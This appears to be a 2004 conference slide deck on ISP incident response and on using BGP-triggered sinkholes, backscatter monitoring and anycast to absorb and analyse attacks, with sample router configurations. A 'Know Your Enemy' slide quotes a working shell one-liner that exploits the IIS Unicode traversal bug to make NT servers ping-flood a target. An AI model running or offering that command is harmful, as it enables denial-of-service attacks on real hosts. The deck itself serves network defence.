Apricot 2004 Sinkholes

ISP Security: Deploying and Using Sinkholes: 

ISP Security: Deploying and Using Sinkholes APRICOT 2004 - KUALA LUMPUR, MY February 23, 2004 Danny McPherson -- danny@arbor.net

Agenda: 

Agenda Context & Objective Six Phases to Incident Response Sinkhole Basics Sinkholes & Blackholes Anycasting Sinkholes to Scale Real-World Sinkhole Data Analysis Configuration & Deployment Information Backscatter Traceback Technique (Time permitting)

Context: 

Context ISP Security Real World Techniques endeavor to share tools and techniques that our peers are using to enhance security and resiliency of their networks. Backscatter Traceback (NANOG 23) Security on the CPE Edge (NANOG 26) Sinkhole (NANOG 28) Customer-Triggered Real-time Blackholes (NANOG 30) http://www.nanog.org

Objective: 

Objective Communicate new ISP Security Tools and Techniques that are working. Generalize Concepts – with permission – experience from our peers. Do not assume everyone knows the fundamentals Today we’re going to discuss the Six Phases to Incident Response & working on getting everyone in-sync with Sinkholes …….

Six Phases to Incident Response: 

Six Phases to Incident Response Preparation Identification Classification Traceback Reaction Post Mortem

Six Phases to Incident Response: 

Six Phases to Incident Response

Introduction: 

Introduction SP Security Bootcamp Goal is to increase SP security clue level Lots of content here, January Kuala Lumpur most recent: ftp://ftpeng.cisco.com/cons/isp/security Also provided via VOD initiative: Public On-Line ISP Security Bootcamp - Singapore Summer 2003 http://www.getitmm.com/bootcampflash/launch.html Introduces six-phased incident response methodology and details components of each phase.

Interesting Notes…*Rob Thomas/CYMRU source of many of these: 

Interesting Notes… *Rob Thomas/CYMRU source of many of these Have seen DoS attacks greater than 10Gbps aggregate capacity in 2002, 5+ Gbps already in 2003 Of 1127 DoS attacks seen on a very large network since JAN 03, only 4 employed address spoofing: spoofing is out of vogue. 140415 node botnet largest "seen" this year. Miscreants are avoiding RFC1918 and other bogon address space and explicitly targeting "easy pickens” prefixes such as 24/8. Miscreants typically patch exploitable code once they compromise a system in order to "keep it” -- they probably install more patches than users!

The Six Phases: 

The Six Phases Preparation Identification Classification Traceback Reaction Postmortem

Preparation: 

Preparation Everybody’s got a plan until they get hit! -- Mike Tyson

Preparation: 

Preparation Identify key personnel and create incident response teams(s). Formulate and become familiar with procedures and policies required for incident response (FIRST?). Question: How many folks here have been or are a participating member of an IRT/ERT?)

Preparation (cont.): 

Preparation (cont.) Prepare the network’s management, control and data planes (e.g., out of band access, routing policies, appropriate hardware and software, lab and field verification procedures, etc..) Develop and/or acquire tools that automate incident handling Think ‘c1sc0’ is a secure password? Know your network! Know your enemies and their weapons!

Preparation -- Backup Plans?: 

Preparation -- Backup Plans?

Know Your Network!: 

Know Your Network! Control plane functions: What networks and domains are reachable and via what paths? Proactively monitor routing protocols for malicious or erroneous behavior (e.g., route hijacking (e.g.,. for spam relaying), diversion, table de-aggregation, etc..) Actively monitor critical networks closely! Employ standard network engineering tools and techniques (e.g., SNMP data)

Know Your Enemy and Their Weapons!: 

Know Your Enemy and Their Weapons!

Know Your Network!: 

Know Your Network! Data plane functions: What ports, protocols and applications consume what amount of bandwidth on which network elements? What time of day, week, month and other factors effect traffic patterns? Monitor dark IP/bogon activity Monitor for address spoofing and port scanning (is it “just noise”, or reconnaissance?)

Know Your Network!: 

Know Your Network!

Know Your Enemy!: 

Know Your Enemy!

Know Your Enemy and Their Weapons!: 

Know Your Enemy and Their Weapons! NT DDOS Written by ‘MrFloat’ ddos.sh is a is a five line shell script (ddos tool) that causes NT servers (bcasts) which are vulnerable to the unicode bug to ping flood a target host. for i in `cat bcasts`; do echo Sending flood request to $i; lynx -dump http://$i/scripts/georgi.bat/..\%C1\%9C..\%C1\%9C..\%C1\%9Cwinnt/system32/cmd.exe\?/c\+ping+- n+65000+-l+64000+-w+5+$1 & done

Better Pay Attention -- OR I’ll Take You Out!: 

Better Pay Attention -- OR I’ll Take You Out! u-on.email.com Pay Attention!

Know Your Enemy and Their Weapons!: 

Know Your Enemy and Their Weapons!

Slide22: 

An ounce of prevention is worth a pound of cure…. An ounce of preparation is worth a pound of mitigation!

Identification : 

Identification Identify anomalous behavior Build baselines to determine what normal behavior is Employ tools that enable network-wide correlation of control and data plane characteristics CPU utilization NetFlow SNMP data collection Route stability Route topology and effects on traffic shifts Control & data plane

Identify Anomalous Behavior : 

Identify Anomalous Behavior

Impact of the Blackout: 

Impact of the Blackout

Impact of the Blackout: 

Impact of the Blackout

Classification: 

Classification Classify anomalous behavior as malicious or legitimate Employ “fixed” signatures where possible SYN flood New software/patch downloads (flash crowds) Known ‘bad stuff’ Other? Perform network-wide characterization of attack Precisely identify attack’s impact on: The entire network Each peer Each router Each interface Protocols and applications Perform WITHOUT JEOPARDIZING SERVICES AVAILABILITY!

Recent SQL “Slammer” Worm: 

Recent SQL “Slammer” Worm

Slammer - A European SPs View: 

Slammer - A European SPs View

SLAMMER – THE BGP PICTURE: 

SLAMMER – THE BGP PICTURE

Classified Attack???: 

Classified Attack???

Traceback: 

Traceback Traceback to ingress network perimeter Packet filters Backscatter Packet Accounting CEF Accounting Netflow Retain attack data Use to correlate inter-domain traceback Clarify billing and other disputes Post-mitigation analysis Post-mortem analysis

Traditional Traceback: 

Traditional Traceback Hop-by-hop Error-prone May impact service availability Tedious Very time consuming Fully characterizing and accounting for full impact of attack is still unlikely.

Traditional Traceback: 

Peer B Peer A Traditional Traceback IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Target

Optimized Traceback: 

Optimized Traceback Sinkhole with BackScatter Techique can Provide near-similar results!

Reaction: 

Reaction What response is required -- if any? Should you mitigate? Liabilities Mitigating attacks on target may trigger attacks directly at upstream (I.e,. you!) Ensure any mitigation options are documented and clean-up occurs when appropriate. Have mechanisms in place to verify that attack has been thwarted or subsided after mitigation steps are implemented. Have mechanisms in place to verify that attack has stopped before removing mitigation component.

Mitigation?: 

Mitigation?

Potential ‘Reaction’ Options: 

Potential ‘Reaction’ Options Do Nothing Notify customer or peer Packet filters (e.g., ACLs) Rate-limit (e.g., CAR) Divert to sinkhole and analyze or scrub attack data Remote-triggered drop Blackhole (dst == Null 0/discard interface) uRPF loose check (src == Null 0/discard interface) Customer-performed Based on BGP Flow Specification (future) Firewall, IDS or similar Other… Keep good records so that clean-up can be performed when appropriate!

The Cyber Police!: 

The Cyber Police!

Data Plane Filtering: 

Data Plane Filtering Filter deployment and management tools may need to augment existing filters Be as explicit as possible by applying only policies relevant to that network element Sequence filter policy for optimal performance Avoid manual configuration and deployment, humans prone to error Verify hardware and software capabilities before deploying in live network (Preparation function) Be aware of vendor peculiarities (e.g., application forwarding hit, recompilation to take effect, etc..) Keep good records so that cleanup can be performed when appropriate!

Post Mortem: 

Post Mortem Analyze data & discuss attack Perform trending Maintain full history of attack data Determine what, if anything, could have been done to be better prepared -- make appropriate adjustments as necessary Remove any deployed mitigation mechanisms Clarify billing or other issues Involve your customers (encourage CPE filtering and more importantly, patched systems!) Contact authorities as appropriate

Sinkholes: 

Sinkholes

Why Sinkhole?: 

Why Sinkhole? Sinkhole is used to describe a technique that does more than the individual tools we’ve had in the past: Blackhole Routers – Technique used to exploit a routers forwarding logic in order to discard data, typically in a distributed manner, triggered by routing advertisements. Tar Pits – A section of a honey net or DMZ designed to slow down TCP based attacks to enable analysis and traceback. Often used interchangeably with Sinkhole. Shunts – Redirecting traffic to one of the router’s connected interfaces, typically to discard traffic. Honey Net – A network of one or more systems designed to analyze and capture penetrations and similar malicious activity. Honey Pot - A system designed to analyze and capture penetrations and similar malicious activity.

Sinkhole Routers/Networks: 

Sinkhole Routers/Networks Sinkholes are the network equivalent of a honey pot, also commonly referred to as a tar pit, sometimes referred to as a blackhole. Router or workstation built to suck in and assist in analyzing attacks. Used to redirect attacks away from the customer – working the attack on a router built to withstand the attack. Used to monitor attack noise, scans, data from mis-configuration and other activity (via the advertisement of default or unused IP space) Traffic is typically diverted via BGP route advertisements and policies.

Sinkhole Routers/Networks: 

Sinkhole Routers/Networks Target of Attack 192.168.20.1 host is target 192.168.20.0/24 – target’s network Sinkhole Network Customers Customers Customers

Sinkhole Routers/Networks: 

Sinkhole Routers/Networks Target of Attack 192.168.20.1 host is target 192.168.20.0/24 – target’s network Sinkhole Network Router advertises 192.168.20.1/32 Customers Customers Customers

Sinkhole Routers/Networks: 

Attack is pulled away from customer/aggregation router. Can now apply classification ACLs, Packet Capture, Etc… Objective is to minimize the risk to the network while investigating the attack incident. Sinkhole Routers/Networks Target of Attack 192.168.20.1 host is target 192.168.20.0/24 – target’s network Sinkhole Network Router advertises 192.168.20.1/32 Customers Customers

Sinkhole Routers/Networks: 

Sinkhole Routers/Networks Advertising “default” from the Sinkhole will pull down all sorts of garbage traffic: Customer Traffic when circuits flap Network Scans to unallocated address space Code Red/NIMDA/Worms Backscatter Can place tracking tools in the Sinkhole network to monitor the noise. Customers Sinkhole Network Router advertises “default” Customers Customers Customers

Scaling Sinkhole Networks: 

Scaling Sinkhole Networks Multiple Sinkholes can be deployed within a network Combination of IGP with BGP Trigger Regional deployment Major PoPs Functional deployment Peering points Data Centers Note: Reporting more complicated, need aggregation and correlation mechanism Customers 192.168.20.1 is attacked 192.168.20.0/24 – target’s network Sinkhole Network

Why Sinkholes?: 

Why Sinkholes? They work! Providers and researchers use them in their network for data collection and analysis. More uses are being found through experience and individual innovation. Deploying Sinkholes correctly takes preparation.

Sinkhole Basics: 

Sinkhole Basics

The Basic Sinkhole: 

The Basic Sinkhole Sinks Holes do not have to be complicated. Some large providers started their Sinkhole with a spare workstation with free unix, Zebra, and TCPdump. Some GNU or MRTG graphing and you have a decent sinkhole. To ISP Backbone Sinkhole Server Advertise small slices of Bogon and Dark IP space

Expanding the Sinkhole: 

Expanding the Sinkhole Expand the Sinkhole with a dedicated router into a variety of tools. Pull the DOS/DDOS attack to the sinkhole and forwards the attack to the target router. Static ARP to the target router keeps the Sinkhole Operational – Target Router can crash from the attack and the static ARP will keep the gateway forwarding traffic to the Ethernet switch.

What to monitor in a Sinkhole?: 

What to monitor in a Sinkhole? Scans on Dark IP (allocated & announced but unassigned address space). Who is scoping out the network – pre-attack planning. Scans on Bogons (unallocated). Worms, infected machines, and Bot creation Backscatter from Attacks Who is getting attacked Backscatter from Garbage traffic (RFC-1918 leaks) Which customers have misconfiguration or “leaking” networks.

Monitoring Scan Rates: 

Monitoring Scan Rates Select /32 (or larger) address from different block of your address space. Advertise them out the Sinkhole Assign them to a workstation built to monitor and log scans. ( Arbor Network’s Dark IP Peakflow module is one turn key commercial tool that can monitor scan rates via data collected from the network.)

Worm Detection & Reporting UI: 

Worm Detection & Reporting UI Operator instantly notified of Worm infection. System automatically generates a list of infected hosts for quarantine and clean-up.

Automate Quarantine of Infected Hosts: 

Automate Quarantine of Infected Hosts

Monitoring Backscatter: 

Monitoring Backscatter Advertise bogon blocks with NO_EXPORT community and an explicit safety community (plus prefix-based egress filtering on the edge) Static/set the BGP NEXT_HOP for the bogon to a backscatter collector workstation (as simple as TCPdump). Pulls in backscatter for that range – allows monitoring. To ISP Backbone To ISP Backbone To ISP Backbone Sinkhole Gateway Target Router Sniffers and Analyzers Capture Backscatter Traffic Advertise Bogons with no-export community

Monitoring Backscatter: 

Monitoring Backscatter Inferring Internet Denial-of-Service Activity http://www.caida.org/outreach/papers/2001/BackScatter/

Monitoring Spoof Ranges: 

Monitoring Spoof Ranges Attackers use ranges of valid (allocated blocks) and invalid (bogon, martian, and RFC1918 blocks) spoofed IP addresses. Extremely helpful to know the spoof ranges. Set up a classification filter on source addresses. To ISP Backbone To ISP Backbone To ISP Backbone Sinkhole Gateway Target Router Sniffers and Analyzers Export ACL Logs to a syslog server Classification ACL with Source Address

Monitoring Spoof Ranges: 

Monitoring Spoof Ranges Extended IP access list 120 (Compiled) permit tcp any any established (243252113 matches) deny ip 0.0.0.0 1.255.255.255 any (825328 matches) deny ip 2.0.0.0 0.255.255.255 any (413487 matches) deny ip 5.0.0.0 0.255.255.255 any (410496 matches) deny ip 7.0.0.0 0.255.255.255 any (413621 matches) deny ip 10.0.0.0 0.255.255.255 any (1524547 matches) deny ip 23.0.0.0 0.255.255.255 any (411623 matches) deny ip 27.0.0.0 0.255.255.255 any (414992 matches) deny ip 31.0.0.0 0.255.255.255 any (409379 matches) deny ip 36.0.0.0 1.255.255.255 any (822904 matches) . . permit ip any any (600152250 matches) Example: Jeff Null’s [jnull@truerouting.com] Test

Monitoring Spoof Ranges: 

Monitoring Spoof Ranges Select /32 address from different block of your address space. Advertise them out the Sinkhole Assign them to a workstation built to monitor and log scans. Home grown and commercial tools available to monitor scan rates ( Arbor Network’s Dark IP Application is one turn key commercial tool that can monitor scan rates.)

Safety Precautions: 

Safety Precautions Do not allow bogons to leak: BGP “NO_EXPORT” community Explicit Egress Prefix Policies (community, prefix, etc.) Do not allow traffic to escape the sinkhole: Backscatter from a Sinkhole defeats the function of a Sinkhole (egress ACL on the Sinkhole router)

Blackhole Routers or Sinkholes?: 

Blackhole Routers or Sinkholes?

Simple Sinkholes – Internet Facing: 

Simple Sinkholes – Internet Facing BCP is to advertise the whole allocated CIDR block out to the Internet. Left over unallocated Dark IP space gets pulled into the advertising router. The advertising router becomes a Sinkhole for garbage packets. Peer Border Aggregation CPE Internet Backscatter Scanners Worms Pulls in garbage packets. Large CIDR Block Out Customer’s Allocated Block CPE Router /w Default

ASIC Drops at Line Rate?: 

ASIC Drops at Line Rate? Forwarding/Feature ASICs will drop packets with no performance impact. Line Rate dropping will not solve the problem of garbage packets saturating the link. Peer Border Aggregation CPE Internet Backscatter Scanners Worms Garbage Saturates Link! Large CIDR Block Out Customer’s Allocated Block CPE Router /w Default

Backbone Router Injecting Aggregates: 

Backbone Router Injecting Aggregates Some ISPs use the Backbone/core routers to inject their aggregates. Multiple Backbone injection points alleviate issues of link saturation, but exposes the loopback addresses (at least the way it is done today). In a world of multiple Gig-Bots and Turbo worms, do you really want you backbone routers playing the role of garbage collectors? Large CIDR Block Out Customer’s Allocated Block CPE Router /w Default Peer border Aggregation CPE Internet Backscatter Scanners Worms Garbage packets are forwarded to backbone router Backbone

Simple Sinkholes – Customer Facing: 

Simple Sinkholes – Customer Facing Defaults on CPE devices pull in everything. Default is the ultimate packet vacuum cleaner Danger to links during times of security duress. Peer border Aggregation CPE Internet Backscatter Scanners Worms Pulls in garbage packets. Large CIDR Block Out Customer’s Allocated Block CPE Router /w Default

Simple Sinkholes – Impact Today: 

Simple Sinkholes – Impact Today In the past, this issue of pulling down garbage packets has not been a big deal. GigBots and Turbo Worms change everything Even ASIC-based forwarding platforms get impacted from the RFC 1812 overhead. Peer Border Aggregation CPE Internet Backscatter Scanners Worms Pulls in garbage packets. Large CIDR Block Out Customer’s Allocated Block CPE Router /w Default

Sinkholes – Advertising Dark IP: 

Sinkholes – Advertising Dark IP Move the CIDR Block Advertisements (or at least more-specifics of those advertisements) to Sinkholes. Does not impact BGP routing – route origination can happen anywhere in the iBGP mesh (careful about MEDs and aggregates). Control where you drop the packet. Turns networks inherent behaviors into a security tool! To ISP Backbone To ISP Backbone To ISP Backbone Sinkhole Gateway Target Router Sniffers and Analyzers Target router receives the garbage Advertise CIDR Blocks with Static Lock-ups pointing to the target router

Anycasting Sinkholes: 

Anycasting Sinkholes Scaling Sinkholes on existing infrastructure

Anycast Sinkholes to Scale: 

Anycast Sinkholes to Scale Anycast allows garbage packet load management and distribution . Core Backbone Regional Node Regional Node Regional Node Regional Node Regional Node Regional Node POPs POPs POPs POPs POPs POPs

Anycast and Security: Applications: 

Anycast and Security: Applications Anycast is a technique successfully used in the community: DNS Services Distributed Sinkholes Blackhole Routers - Dark IP Space Management (BGP Lock-up static routes to Null0) Routing Convergence Anycast provides a tool to plug in Sinkholes through out an existing network.

Anycast DNS Caches: 

Anycast DNS Caches Peer B Peer A IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Customer Primary DNS Servers Sinkhole Network 192.168.19.0/24 192.168.19.1 DNS Caching Server Cluster SAFE - Architecture DNS Caching Server Cluster DNS Caching Server Cluster DNS Caching Server Cluster DNS Secondary Server Cluster DNS Secondary Server Cluster DNS Secondary Server Cluster

Anycast DNS Caches: 

Anycast DNS Caches Peer B Peer A IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Customer Primary DNS Servers Sinkhole Network 192.168.19.0/24 192.168.19.1 DNS Caching Server Cluster SAFE - Architecture DNS Caching Server Cluster DNS Caching Server Cluster DNS Caching Server Cluster DNS Secondary Server Cluster DNS Secondary Server Cluster DNS Secondary Server Cluster DNS Query forwarded to closet DNS Resolver

Anycast Sinkholes: 

Anycast Sinkholes Peer B Peer A IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Customer Primary DNS Servers 192.168.19.0/24 192.168.19.1 Services Network Sinkhole employs same Anycast mechanism.

Anycast – What is needed?: 

Anycast – What is needed? Two IP Addresses: One address for management & One address for anycasting. Router Eth0 192.168.1.2/30 Lo0 10.0.0.1/32 Eth0 192.168.2.2/30 Eth0 192.168.3.2/30 Lo0 10.0.0.1/32 Lo0 10.0.0.1/32 Server Instance A Server Instance B Server Instance C BGP IGP Redistribution Destination Mask Next-Hop Dist 0.0.0.0 /0 127.0.0.1 0 192.168.1.0 /30 192.168.1.1 0 192.168.2.0 /30 192.168.2.1 0 192.168.3.0 /30 192.168.3.1 0 10.0.0.1 /32 192.168.1.2 1 10.0.0.1 /32 192.168.2.2 1 10.0.0.1 /32 192.168.3.2 1 Round-robin load balancing Courtesy of Bill Woodcock Packet Clearing House (www.pch..net)

Anycast and Sinkholes: 

Anycast and Sinkholes Sinkholes are designed to pull in attacks. Optimal placement in the network requires mindful integration and can have substantial impact on network performance and availability A single Sinkhole might require major re-architecting of the network Anycast Sinkholes provide a means to distribute the load throughout the network.

Anycast Sinkholes Example: 

Anycast Sinkholes Example Core Backbone Regional Node Regional Node Regional Node Regional Node Regional Node Regional Node Template Backbone with Regional Centers POPs POPs POPs POPs POPs POPs

Anycast Sinkhole Placement: 

Anycast Sinkhole Placement Core Backbone Regional Node Regional Node Regional Node Regional Node Regional Node Regional Node Place Sinkholes in each of the Regional Nodes POPs POPs POPs POPs POPs POPs

Anycast Sinkholes: 

Anycast Sinkholes Anycast Sinkholes are in their early stages. Placement and control of the trigger routers are the two interesting challenges. These challenges will dissolve as more operational experience is gained.

Using Sinkholes to Protect Infrastructure Point to Point Links: 

Using Sinkholes to Protect Infrastructure Point to Point Links

Protecting the Backbone Point to Point Addresses: 

Protecting the Backbone Point to Point Addresses Do you really need to reach the Backbone router’s Point to Point Address from any router other than a directly connected neighbor? 198.0.2.1 198.0.2.2

Protecting the Backbone Point to Point Addresses: 

Protecting the Backbone Point to Point Addresses What could break? Network protocols are either loopback (BGP, NTP, etc.) or adjacent (OSPF, IS-IS, EIGRP). NOC can Ping the Loopback (alhough some tools such as HP OV may have issues). Traceroutes reply with the correct address in the reply. Reachability of the source is not required. 198.0.2.1 198.0.2.2 BGP, NTP BGP, NTP OSPF, ISIS, EIGRP OSPF, ISIS, EIGRP

Protecting the Backbone Point to Point Addresses: 

Protecting the Backbone Point to Point Addresses What have people done in the past: ACLs – Long term ACL management problems. RFC 1918 – Works – against the theme of the RFC – Traceroute still replies with RFC 1918 source address. Does not protect against a reflection attack. 192.168.2.1 192.168.2.2

Protecting the Backbone Point to Point Addresses: 

Protecting the Backbone Point to Point Addresses Move the Point to Point Address blocks to IGP based Sinkholes. All packets to these addresses will be pulled into the Sinkhole. People who could find targets with traceroute cannot now hit the router with an attack based on that intelligence. Protects against internal and reflection based attacks. Sinkhole Module Packet P-t-P infrastructure address. Packet P-t-P infrastructure address. 198.0.2.1 198.0.2.2

Not Perfect – Just Another Hurdle.: 

Not Perfect – Just Another Hurdle. Will not work with the routers on the border. By default, C (Connected) prefixes override all BGP injected prefixes from the Sinkhole (you want this to happen). Basic security principle – increment layers of security – there is never a perfect solution – just additional hurdles – the more hurdles the better. Sinkhole Module 198.0.2.1 198.0.2.2 198.0.2.6 198.0.2.5 Internet Dest = 198.0.2.2 Dest = 198.0.2.5

Protecting the Backbone Point-to-Point Addresses: 

Protecting the Backbone Point-to-Point Addresses Peer B Peer A IXP-W IXP-E Upstream A Upstream A Upstream B Upstream B POP Customer Primary DNS Servers Services Network Sinkhole Sucks in traffic to backbone p-t-p addresses. DOS Attack to Backbone Interface

What if I do an ISP Edge ACL?: 

What if I do an ISP Edge ACL? Anti-Spoof and Anti-Infrastructure ACLs are encouraged on the edge. But …. Need to be everywhere to achieved desired effect – including the customer edge (this is beyond the BCP 38 requirements). Sinkhole Module 198.0.2.1 198.0.2.2 198.0.2.6 198.0.2.5 Internet Dest = 198.0.2.2 Dest = 198.0.2.5 SRC = 198.0.2.5 | DEST = Customer Reflection Attack Infrastructure ACL

What if I do an ISP Edge ACL?: 

What if I do an ISP Edge ACL? Anti-Spoof and Anti-Infrastructure ACLs can be combined with Sink Holing the Infrastructure Blocks. Remember – it is all about adding hurdles. Sinkhole Module 198.0.2.1 198.0.2.2 198.0.2.6 198.0.2.5 Internet Dest = 198.0.2.2 Dest = 198.0.2.5 SRC = 198.0.2.5 | DEST = Customer Reflection Attack Infrastructure ACL

Sinkholes and Turbo Worms: 

Sinkholes and Turbo Worms Are you ready for the next one?

The SQL Slammer Worm:30 Minutes After “Release” : 

The SQL Slammer Worm: 30 Minutes After “Release” - Infections doubled every 8.5 seconds - Spread 100X faster than Code Red - At peak, scanned 55 million hosts per second.

Sinkhole to Identify Infected End Points: 

Sinkhole to Identify Infected End Points Customer May also use NetFlow data from edge routers for this purpose… Computer starts scanning the Internet Sinkhole Network Sinkhole advertising Bogon and Dark IP Space

Expect Turbo Worms from All Directions!: 

Expect Turbo Worms from All Directions! ISP’s Backbone Internal Network DMZ Sinkhole detects Turbo Worm that got inside. Sinkholes at various security layers.

In-Depth Analysis: 

In-Depth Analysis Be careful: you must contain any attack traffic, do not become a victim as well Outbound filtering: do not let sever connect back out at will Outbound filter ACE hits (and IP logs) will provide additional information

Sinkholes & Turbo Worms - Conclusion: 

Sinkholes & Turbo Worms - Conclusion The nature of the threat dictates that you need to prepare before it happens. 30 minutes is barely enough time to react with what you already have in place. Remember the post-Slammer analysis – Slammer’s search algorithms were “broken” Sinkholes are one tool that has proven their value – especially with worm mitigation (after containment).

Questions?: 

Questions?

Measuring Global Worm Activity: 

Measuring Global Worm Activity

Introduction: 

Introduction Measures scan and worm activity, DDoS backscatter Capture-distillation methodology Near real-time alerting Scan or backscatter detection, description Long-term records Observe trends Ongoing project Fewer artifacts compared to point collection Can compare with direct observations

Measurement Infrastructure: 

Measurement Infrastructure Use blackhole monitoring techniques Globally announced, unused /8 Distill worm activity, summarize

Worm Impact: 

Worm Impact Global Consumes bandwidth, operational overhead DDoS susceptibility via announced holes Local Resources in cleanup Potential to affect new machines locally

Trends in Worm Incidents: 

Trends in Worm Incidents Demographics Korea no longer top spot (TLD analysis) Global broadband still biggest source (2LD) Persistence Exploit trends Faster time to market? Escalated Threats DDoS agent carrier, spread is DDoS Faster cleanup Hours, not days

Worm Demographics: 

Worm Demographics Code Red Nimda Blaster

Nimda’s Persistence: 

Nimda’s Persistence Nimda (September, 2001) Still persistent after 2 years Over one million hosts a day (August, 2003)

Blaster’s Activity Cycle: 

Blaster’s Activity Cycle Blaster (August, 2003) Circadian pattern Global TLD distribution 300-1000 hosts per hour

Exploit Trends in Worms: 

Exploit Trends in Worms Slightly faster “time to market” Code Red (2001): 30 days Nimda: 42 days Sapphire: 184 days Blaster: under 30 days Still not “0 day” Known vulnerabilities IDS signatures, firewall rules Hard to predict what will be a worm

Escalated Threats: 

Escalated Threats DDoS payload: Code Red: DDoS against one IP Blaster: DDoS against hostname Deloder: Arbitrary DDoS toolkit The spread is the DDoS Sapphire’s congestion Effects on routing tables Multicast group state (MSDP SA).

Faster Cleanup: 

Faster Cleanup We’re responding faster Filters, cleanup Measures as “half life” of observations Nimda cleanup rate: 2-3 days Blaster cleanup rate: 10 hours

Limitations : 

Limitations Inferring activity via scan activity We only actively sample on port 80/TCP Use MD5 payload hashing to classify payloads Labor intensive Manual payload classification Limited visibility for some worms Worms which use enumerated networks can (and have) ignored this network Misses worms which fingerprint Misses worms which use target lists (mail, IM)

Conclusions: 

Conclusions The good news CR, Nimda, Blaster numbers down Blaster was quickly filtered Korea not seen heavily in Blaster Blackhole monitoring effective at estimations The bad news Nimda still persists after 2 years Global broadband networks are the main sources for Blaster

Questions?: 

Questions?

Special Thanks: 

Special Thanks Thanks to all our colleagues who have contributed ideas, concepts, and experience: Barry Greene (Special Thanks!!) Jose Nazario Tim Battles Chris Morrow Roland Dobbins Peter Lothberg And many more …..

Addendum - Materials: 

Addendum - Materials

Sinkholes - Addendum: 

Sinkholes - Addendum Construction

Sinkhole Router: 

Sinkhole Router Target of Attack Sniffer/Analyser Neflow/Syslog Collector Flow of Mgmt Data Sinkhole Router Analysis Segment Monitoring Link and Interface

Guidelines: 

Guidelines No IGP on Sinkhole iBGP Peering sessions via Management Interface Sinkhole is a RR client Monitoring Interface to data-plane only Routes injected into IGP by router servicing the Monitoring Link

Sample TEST-NET Allocation: 

Sample TEST-NET Allocation

Sinkhole Router - Routing: 

Sinkhole Router - Routing Sniffer/Network Analyzer NetFlow Collector/ Arbor System Advertise IGP LSA d.e.f.0/28 Not Addressed No Routing Statics 192.0.2.8/32 ->192.0.2.6 192.0.2.254/32 -> 192.0.2.6 NOTE: 192.0.2.4/30 is reused at each Sinkhole Static & iBGP 192.0.2.1/32 -> NULL0 192.0.2.254/32 ->NULL0 192.0.2.8/32 -> <AnalysisIntf> 192.0.2.5/30 192.0.2.6/30 d.e.f.1/29 d.e.f.2/29 d.e.f.3/29 d.e.f.4/29 Advertise IGP LSAs 192.0.2.8/32 192.0.2.254/32 iBGP d.e.f.2 RRc of d.e.f.1 d.e.f.1 NH=self

BGP Triggers for Sinkholes - Addendum: 

BGP Triggers for Sinkholes - Addendum Configuration

Trigger Router’s Config: 

Trigger Router’s Config router bgp 100 . redistribute static route-map static-to-bgp . ! route-map static-to-bgp permit 10 description – Std Redirect For Edge Drop description - Use Static Route with Tag of 66 match tag 66 set origin igp set next-hop 192.0.2.1 set community NO-EXPORT !

Trigger Router’s Config: 

Trigger Router’s Config ! route-map static-to-bgp permit 20 description – Redirect For Sinkhole NULL0 Drop description - Use Static Route with Tag of 67 match tag 67 set origin igp set next-hop 192.0.2.8 set community NO-EXPORT 67:67 !!

Trigger Router’s Config: 

Trigger Router’s Config ! route-map static-to-bgp permit 30 description – Redirect For Sinkhole Analysis description - Use Static Route with Tag of 68 match tag 68 set origin igp set next-hop 192.0.2.8 set community NO-EXPORT 68:68 !!

Trigger Router’s Config: 

Trigger Router’s Config ! route-map static-to-bgp permit 40 description – Redirect For ANYCAST Sinkhole description - Use Static Route with Tag of 69 match tag 69 set origin igp set next-hop 192.0.2.254 set community NO-EXPORT 69:69 !!

Trigger Router’s Config: 

Trigger Router’s Config ! route-map static-to-bgp permit 50 description – Redirect For ANYCAST Sinkhole Analysis description - Use Static Route with Tag of 70 match tag 70 set origin igp set next-hop 192.0.2.254 set community NO-EXPORT 70:70 ! route-map static-to-bgp permit 100

Sinkhole Triggers: 

Sinkhole Triggers ! Drop all traffic at edge of network ip route 172.168.20.1 255.255.255.255 null0 tag 66 ! ! Redirect victim traffic to Sinkhole ip route 172.168.20.1 255.255.255.255 null0 tag 67 ! ! Redirect victim traffic to Sinkhole for Analysis ip route 172.168.20.1 255.255.255.255 null0 tag 68

ANYCAST Triggers: 

ANYCAST Triggers ! Redirect victim traffic to ANYCAST Sinkhole ip route 172.168.20.1 255.255.255.255 null0 tag 69 ! ! Redirect victim traffic to ANYCAST Sinkhole ! for Analysis ip route 172.168.20.1 255.255.255.255 null0 tag 70

Sinkhole Router – Config: 

Sinkhole Router – Config router bgp 100 . Neighbor peer-group INTERNAL neighbor INTERNAL route-map Redirect-to-Sinkhole in neighbor INTERNAL remote-as 100 neighbor d.e.f.1 peer-group INTERNAL ! route-map Redirect-to-sinkhole permit 10 description - Send to Router's NULL0 Interface match community 67:67 set ip next-hop 192.0.2.1 !

Sinkhole Router – Config: 

Sinkhole Router – Config route-map Redirect-to-sinkhole permit 20 description - Send to Router's Analyzer Interface match community 68:68 set ip next-hop 192.0.2.8 !

Sinkhole Router – Config: 

Sinkhole Router – Config route-map Redirect-to-sinkhole permit 30 description – ANYCAST drop match community 69:69 set ip next-hop 192.0.2.1 !

Sinkhole Router – Config: 

Sinkhole Router – Config route-map Redirect-to-sinkhole permit 40 description – Anycast Analysis match community 70:70 set ip next-hop 192.0.2.8 ! Route-map Redirect-to-sinkhole permit 100

Sinkhole Router – Routing: 

Sinkhole Router – Routing ! For Std drop ip route 192.0.2.1 255.255.255.255 null0 ! ! For Analysis ip route 192.0.2.8 255.255.255.255 interface FA0/0 ! ! Bogus ARP for 192.0.2.8 to stop ARP request ip arp 192.0.2.8 00.00.0c.99.99.99 arpa ! ! For ANYCAST Sinkhole Services ip route 192.0.2.254 255.255.255.255 <interface>

Sinkhole Router – Routing: 

Sinkhole Router – Routing No Default static route in Sinkhole. Sinkhole must not loop traffic back out Management Interface. Telnet access via router servicing the Sinkhole’s Management Segment.

Sinkhole Router: 

Sinkhole Router Sniffer/Analyser Neflow/Syslog Collector Flow of Mgmt Data Sinkhole Router Analysis Segment Redirected Traffic

Sinkhole Analysis Services: 

Sinkhole Analysis Services Local Netflow Collector and Analyser Local Syslog Server Analyser remotely controlled I.e. VNC or Telnet

Results / Benefits: 

Results / Benefits Traffic pulled from Victim Control collateral damage iBGP Triggered Allows attack flow analysis

BackScatter Traceback Technique: 

BackScatter Traceback Technique

Backscatter Traceback Technique: 

